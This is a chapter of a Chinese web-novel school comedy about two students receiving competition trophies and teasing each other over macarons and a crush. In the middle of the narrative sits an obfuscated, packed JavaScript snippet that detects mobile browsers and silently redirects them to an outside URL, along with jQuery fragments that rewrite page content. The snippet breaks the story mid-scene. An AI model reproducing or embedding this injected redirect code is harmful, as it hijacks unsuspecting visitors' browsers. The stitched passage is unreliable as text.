一个多月的时间转瞬而逝，很快就到了公布排名的日子。温翊然和李淮念站在办公室里，面前的电脑屏幕上，查询页面已经加载完毕。


    两人对视一眼，几乎同时点下了“查询”键。


    系统卡顿了一瞬，紧接着，排名页面缓缓展开。


    校区省排名：


    1.琼华一中


    2.昕健中心


    ……


    参赛者排名：


    1.赵康


    2.李淮念


    3.……


    4.温翊然


    ……


    温翊然的目光落在自己的名字上，还没来得及有什么表情，肩膀忽然一沉。


    楚屹不知道什么时候凑了过来，一只手搭在他肩上，带着惯常的调侃：“哟，小温泉，不仅踏步踏得好，连排名也不错啊。”


    温翊然侧过脸，面无表情地看了他一眼。


    楚屹的嘴，真的很不会挑时间。


    不过，至少学校是第一，也可以得个奖杯了。


    三天后，他们被“齐天大圣”喊话，一起去到了办公室。


    齐老师正低头核对奖杯信息，听到脚步声抬起头，看见两人进来，脸上立刻绽开笑容。


    “看来我没看错你们，”她声音里带着掩饰不住的欣慰，“来，这是李淮念的。”


    齐老师将那座反射着光线的玻璃奖杯递给李淮念，又将另一个大小稍小的奖杯递给温翊然。


    温翊然伸手接过，指尖触到冰凉的玻璃表面。奖杯比想象中沉一些，透明的材质在办公室灯光下折出细碎的光点。


    “还不错。”他轻声说，嘴角极浅地弯了一下。


    “这怎么人小，奖杯也小呢？”


    一道清脆的女声从门口飘进来。罗思琪不知什么时候路过，显然是早从楚屹那儿听过“娇小温泉”的梗，这会儿连问题都顾不上问，先拿温翊然打趣起来。


    温翊然握着奖杯的手指微微一顿。


    还没等他反应过来，罗思琪已经灵活地凑到李淮念旁边，探头看了看他手里那座明显大上一圈的奖杯，啧啧两声：“不像我姐夫的，多大多气派！”


    她口中的“姐夫”，自然是指李淮念。因着何芯郁待她如闺如妹，她便理所当然地喊何芯郁一声“何姐”，连带着李淮念也沾光升了辈分。


    李淮念只是笑笑，没多说什么，目光却不着痕迹地朝温翊然那边瞥了一下。


    温翊然垂着眼，盯着自己手里那座“小一号”的奖杯，沉默了两秒，忽然抬起头，面无表情地看向罗思琪。


    “你刚才不是要问问题？”


    “哦对，齐天大圣呢？”罗思琪看了一圈办公室，没看到老师的影子，大大咧咧地开口询问。


    李淮念终究是忍不住了，嘴角微微抽动，抬手悄悄指了指罗思琪身后


    正是听到自己绰号的齐老师，不知什么时候已经站在那儿，脸上挂着一个意味深长的笑容。


    “啊，啊齐老师好。”罗思琪的声音瞬间矮了半截。


    齐老师只是笑笑，推了推眼镜，语气悠长：“原来我就是‘齐天大圣’啊，我还以为是你们历史老师呢。”


    办公室里安静了一秒。


    温翊然低下头，盯着手里的奖杯，肩膀微微抖动了一下。


    罗思琪的表情是什么样的呢？


    大概是上一秒还在打趣温翊然，眉飞色舞、得意洋洋，下一秒被老师当场抓包，脸上那抹得意的笑还没来得及收回去，就硬生生僵在了嘴角。


    紧接着，尴尬像打翻了的颜料盘一样，从脖子根往上蔓延——首先是耳朵尖泛红，然后整张脸都烧起来，红得发烫，最后红到极致，竟隐隐透出点橙色的意思。


    她站在原地，手脚都不知道往哪儿搁放，只能干巴巴地重复：“齐老师好……我真的不是那个意思……”


    温翊然笑得更厉害了，眼泪都快飙出来，扶着李淮念的手臂才勉强站稳：“你、你看到没有……红得发橙……哈哈哈哈——”


    这会儿李淮念也憋不住了，嘴边泄出几个低低的笑声音节，肩膀微微颤了一下。


    但下一秒，他忽然想起罗思琪刚才那声清脆的“姐夫”——自己好歹算半个“长辈”，跟着笑好像不太厚道。


    于是那点笑意刚冒出头，就被他生生摁了回去。


    他抿了抿唇，努力摆出一副若无其事的样子，只是眼角还残留着一点没来得及收回去的弧度。


    温翊然笑够了，直起腰来，正好捕捉到他脸上那点微妙的表情变化，顿时又乐了：“你笑就笑呗，装什么正经？”


    李淮念垂下眼，语气淡淡的：“没笑。”


    “……你刚才明明就笑了。”


    “你看错了。”


    温翊然盯着他那张故作镇定的脸，忽然凑近了一点，压低声音：“姐夫？嗯？”


    李淮念耳根微微一热，别开视线，不说话了。


    温翊然看他那副故作镇定的样子，打趣心理油然而生。


    “李淮念，”他故意拖长了语调，“你觉得何芯郁怎么样啊？”


    李淮念的眼神瞬间警惕起来，像一只察觉到危险的猫：“你问这个干嘛？”


    “你快说！别废话。”温翊然理直气壮地催促。


    李淮念沉默了两秒，语气平淡：“她挺好的。”


    “就‘挺好’？”温翊然眯起眼睛，显然对这个答案不太满意。


    感觉李淮念还没跳坑，温翊然眼珠一转，又换了问题。


    “那你觉得她像什么？”


    “嗯……马卡龙。”


    温翊然眼睛一亮，像是抓到了什么了不得的证据，立刻拍手宣布：“那你就是喜欢她！”


    李淮念眉心一跳，语气依然平稳，但耳根悄悄红了一点：“我没有，你别乱说。”


    “乱说？”温翊然歪着头看他，“‘她挺好的’、‘像马卡龙’——这还不叫喜欢吗？”


    “这叫客观描述。”


    “哦——客观描述。”温翊然拖长音重复了一遍，笑得像只偷到腥的狐狸，“那你客观描述一下我呗？我像什么？”


    李淮念看了他一眼，沉默片刻，忽然别过脸去。


    “……不说话是几个意思？”温翊然凑上去追问。


    “没什么。”


    “你肯定在想什么不好的东西描述我！”


    “没有。”


    “李淮念！”


    走廊里回荡着温翊然不满的声音，和远处隐隐传来的下课铃声混在一起。


    两人一前一后走进教室，手里那座反射着灯光的奖杯瞬间吸引了全班的注意。


    “哇，真送的是奖杯啊！”


    “琼华一中第一那个？”


    “让我看看让我看看啊”


    此起彼伏的惊呼声里，夹杂着同学们羡慕的目光。温翊然被大家围在中间，难得有些不自在地把奖杯往怀里收了收。


    他余光瞥见李淮念已经被几个人围住问东问西，忽然想起刚才走廊上自己被噎得说不出话的场景。


    报复的念头蹭地冒了出来。


    他清了清嗓子，目光在教室里扫了一圈，锁定那个正低头整理书本的身影。


    “马卡龙——”他故意拖长了调子，“你来一下！”


    教室里忽然安静了一秒。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199841|195731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何芯郁抬起头，看见是温翊然在喊自己，也没多问，合上书就走了过来。


    “你……”温翊然愣住了，眨眨眼，“你咋知道我叫的是你？”


    何芯郁走到他面前，表情淡淡的，语气也平平的，但嘴角似乎有一点若有若无的弧度：


    “李淮念给我送了马卡龙。”


    温翊然：“……”


    他缓缓转过头，看向不远处那个正被同学围着的罪魁祸首。


    李淮念恰好也抬起头，对上他的目光，然后


    若无其事地移开了视线。


    温翊然捏紧了手里的奖杯。


    温翊然顿时就感到生气了。


    自己的朋友，快要被那个黑毛小伙掳走了！


    这绝对不行！


    他瞪着不远处那个若无其事移开视线的李淮念，又看了看面前一脸淡定的何芯郁，脑子里警铃大作。


    什么叫“李淮念送了马卡龙”？


    什么时候送的？


    为什么要送？


    他怎么不知道？


    温翊然眯起眼睛，目光在李淮念和何芯郁之间来回扫视，活像一只护食的猫。


    “他什么时候送的？”他压低了声音问何芯郁。


    何芯郁歪了歪头，似乎没意识到问题的严重性：“就刚才啊，你们去办公室的时候，他放我桌上的。”


    “……”


    温翊然深吸一口气。


    好你个李淮念，趁他不在偷偷送东西是吧？


    还送马卡龙？


    他怎么不知道李淮念还会给人送东西？


    他把奖杯往桌上一放，转身就朝李淮念走过去，步伐带着点气势汹汹的意味。


    围在李淮念周围的同学自动让开一条路。


    李淮念抬起头，对上他那张写满“我有话要说”的脸，眉尾轻轻动了一下：“怎么了？”


    温翊然站定在他面前，双手抱胸，居高临下地看着坐着的他：


    “你给何芯郁送马卡龙了？”


    李淮念顿了顿，表情没什么变化：“嗯。”


    “为什么？”


    “她上次说想吃。”


    温翊然噎了一下。


    这理由……好像没什么问题？


    但他还是觉得哪里不对，憋了半天，憋出一句：“那你怎么不给我送？”


    李淮念抬眼看他，沉默了两秒。


    “你又没说想吃。”


    “……”


    温翊然张了张嘴，竟无言以对。


    温翊然被堵得说不出话，站在原地瞪了李淮念两秒，发现对方完全没有要补充点什么的意思，只好气鼓鼓地转身就走。


    他一屁股坐到楚屹旁边，把书包往桌上一扔，动静大得楚屹笔下的字都歪了一笔。


    “怎么了这是？”楚屹抬起头，看见他那张写满“我不高兴”的脸，乐了，“谁惹我们小温泉了？”


    温翊然不理他，沉默了三秒，忽然开口：


    “我要吃马卡龙！”


    楚屹愣了一下，随即笑出声：“哈？”


    “我说，我要吃马卡龙！”温翊然一字一顿地重复，声音还故意抬高了一点，确保某个方向的人能听见。


    楚屹顺着他的目光看了一眼不远处正低头看书的李淮念，又看了看眼前这位满脸写着“我在赌气但我绝不承认”的温翊然，顿时明白了七八分。


    “行行行，吃吃吃，”楚屹忍着笑，摸了摸温翊然的炸毛，“我们放学去买，要几个？十个够不够？”


    温翊然哼了一声，没说话，但嘴角不明显地往上翘了。


    还好还有楚屹宠我！